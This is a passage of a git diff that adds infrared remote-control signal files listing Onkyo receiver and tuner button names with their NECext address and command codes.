00 00 +command: 11 00 00 00 +# +name: DBS_(7) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 11 00 00 00 +# +name: DECKB_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: TAPE1_DECKB_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECK-B_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECKB_STOP[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECKB/DAT_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECK_B_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECKB_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: TAPE1_DECKB_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECK-B_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECKB_PLAY> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECKB/DAT_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECK_B_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECKB_R.PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECKB_PLAY_REV_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECKB_REV_PLAY_(<<) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: TAPE1_DECKB_REV_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECK-B_R.PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECKB_REV_PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECKB_PLAY< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECKB/DAT_REV_PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECK_B_PLAY_REV_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECKB_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: TAPE1_DECKB_REC/PAUS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECK-B_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECKB/DAT_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECK_B_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECKB_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECKB_FF_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECKB_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: TAPE1_DECKB_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECK-B_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECKB_FFWD>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECKB/DAT_FWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECK_B_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECKB_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: DECKB_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: TAPE1_DECKB_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: DECK-B_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: DECKB/DAT_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: DECK_B_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1B 00 00 00 +# +name: CD_PLAY> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1B 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1C 00 00 00 +# +name: CD_STOP[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1C 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_SKIP_FWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_SKIP_REV_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1F 00 00 00 +# +name: REAR_LEVEL_^ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 42 00 00 00 +# +name: REAR_BALANCE_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 42 00 00 00 +# +name: REAR_LEVEL_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 42 00 00 00 +# +name: REAR/SIMUL_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 42 00 00 00 +# +name: REAR_LEVEL_V +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 43 00 00 00 +# +name: REAR_BALANCE_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 43 00 00 00 +# +name: REAR_LEVEL_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 43 00 00 00 +# +name: REAR/SIMUL_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 43 00 00 00 +# +name: 2/DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: TUNER_CLASS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: CLASS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: TUNER_GROUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: SUR_MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: DOLBY_SURROUND +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: SURR_MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: SURR_DELAY_MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: SURR_MODE_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: DECKA_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: TAPE1_DECKA_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECK-A_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECKA_STOP[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECK_A_STOP[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECKA_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: TAPE1_DECKA_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECK-A_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECKA_PLAY> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECK_A_PLAY> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECKA_R.PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECKA_PLAY_REV_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECKA_REV_PLAY_(POW) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: TAPE1_DECKA_REV_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECK-A_R.PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECKA_REV_PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECKA_PLAY< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECK_A_PLAY_REV< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECKA_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: TAPE1_DECKA_REC/PAUS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: DECK-A_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: DECK_A_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: DECKA_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECKA_FF_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECKA_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: TAPE1_DECKA_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECK-A_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECKA_FWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECK_A_FFWD>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECKA_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: DECKA_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: TAPE1_DECKA_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: DECK-A_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: DECK_A_REW<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: DELAY_TIME +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 53 00 00 00 +# +name: SURR_DELAY_TIME +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 53 00 00 00 +# +name: SPEAKERS_A +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: 7/SP_A +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: SPEAKERS_MAIN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: MAIN_SPEAKERS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: SPEAKERS_B +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: 8/SP_B +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: SPEAKERS_SUB_ROOM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: REMOTE_SPEAKERS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: SPEAKERS_REMOTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5C 00 00 00 +# +name: CD_DISK_(POWER) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5C 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: PHONO_PLAY/REJECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5F 00 00 00 +# +name: CENTER_LEVEL_^ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 80 00 00 00 +# +name: CENTER_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 80 00 00 00 +# +name: CENTER_LEVEL_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 80 00 00 00 +# +name: CENTER_LEVEL_V +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 81 00 00 00 +# +name: CENTER_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 81 00 00 00 +# +name: CENTER_LEVEL_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 81 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 8A 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 8B 00 00 00 +# +name: DAT_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 8C 00 00 00 +# +name: DAT_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 8D 00 00 00 +# +name: DAT_REC/PAUSE_O/ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 8D 00 00 00 +# +name: DAT_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 8E 00 00 00 +# +name: DAT_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 8F 00 00 00 +# +name: DAT_SRCH_FWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 8F 00 00 00 +# +name: DAT_<<_(<) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 90 00 00 00 +# +name: DAT_SRCH_REV_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 90 00 00 00 +# +name: CD_EJECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 91 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 95 00 00 00 +# +name: 0/DIMMER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 95 00 00 00 +# +name: CURSOR_ENTER/ESCAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: MENU_ENTER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: ENTER/ESCAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: CENTER_OFF/ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 98 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: TEST_MENU +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: SURR_FUNC_TEST +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: SURR_FUNCT_TEST +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: SURR_TEST_TONE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: VIDEO-4_(11) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9C 00 00 00 +# +name: VIDEO_6 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9C 00 00 00 +# +name: VIDEO-3_(10) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: V4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: VIDEO-4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: REAR_BALANCE_L +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C0 00 00 00 +# +name: REAR/SIMUL_L_BALANCE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C0 00 00 00 +# +name: REAR_BALANCE_R +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C1 00 00 00 +# +name: REAR/SIMUL_R_BALANCE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C1 00 00 00 +# +name: MULTI_SOURCE_LVL_^ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C2 00 00 00 +# +name: MULTI_SOURCE_^ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C2 00 00 00 +# +name: MULTI_SOURCE_LVL_V +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C3 00 00 00 +# +name: MULTI_SOURCE_V +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C3 00 00 00 +# +name: DAT_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CA 00 00 00 +# +name: DAT_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CA 00 00 00 +# +name: DAT_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CB 00 00 00 +# +name: DAT_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CB 00 00 00 +# +name: ENTER/ZONE_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: MULTI_SOURCE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: SIMUL_SOURCE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 1/6_(1) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D0 00 00 00 +# +name: 2/7_(2) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D1 00 00 00 +# +name: 3/8_(3) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D2 00 00 00 +# +name: 4/9_(4) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D3 00 00 00 +# +name: 5/10_(5) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: D4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,109.ir new file mode 100644 index 000000000..8248ad479 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,109.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_PRESET_^ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET_V +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: AUDIO_MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: LINE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 06 00 00 00 +# +name: TAPE-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: TAPE-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: DECK-B_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECK-B_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECK-B_R.PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECK-B_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECK-B_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECK-B_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1B 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1C 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1F 00 00 00 +# +name: TUNER_GROUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: DECK-A_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECK-A_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECK-A_R.PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECK-A_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: DECK-A_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECK-A_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir new file mode 100644 index 000000000..b332f3916 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir @@ -0,0 +1,344 @@ +Filetype: IR signals file +Version: 1 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 00 00 00 00 +# +name: PRESET_> +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 00 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 01 00 00 00 +# +name: PRESET_< +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 01 00 00 00 +# +name: OUTPUT_LEVEL_^ +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 02 00 00 00 +# +name: OUTPUT_LEVEL_V +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 04 00 00 00 +# +name: FM_MUTE +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 05 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 0E 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 0F 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 10 00 00 00 +# +name: PRESET_SCAN +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 13 00 00 00 +# +name: 0/10 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 14 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 15 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 16 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 17 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 18 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 19 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 1A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 1C 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 1E 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 40 00 00 00 +# +name: TIMER_PRESET_+ +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 40 00 00 00 +# +name: TIMER_PRESET_- +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 41 00 00 00 +# +name: TUNING_+ +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 42 00 00 00 +# +name: TUNING_- +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 43 00 00 00 +# +name: ANTENNA +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 45 00 00 00 +# +name: RF_MODE +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 46 00 00 00 +# +name: IF_BAND +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 47 00 00 00 +# +name: HI-BLEND +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 48 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 49 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 4C 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 4D 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 4E 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 4F 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 50 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 51 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 52 00 00 00 +# +name: 14 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 53 00 00 00 +# +name: 15 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 54 00 00 00 +# +name: 16 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 55 00 00 00 +# +name: 17 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 56 00 00 00 +# +name: 18 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 57 00 00 00 +# +name: 19 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 58 00 00 00 +# +name: 20 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 59 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 5A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 5B 00 00 00 +# +name: 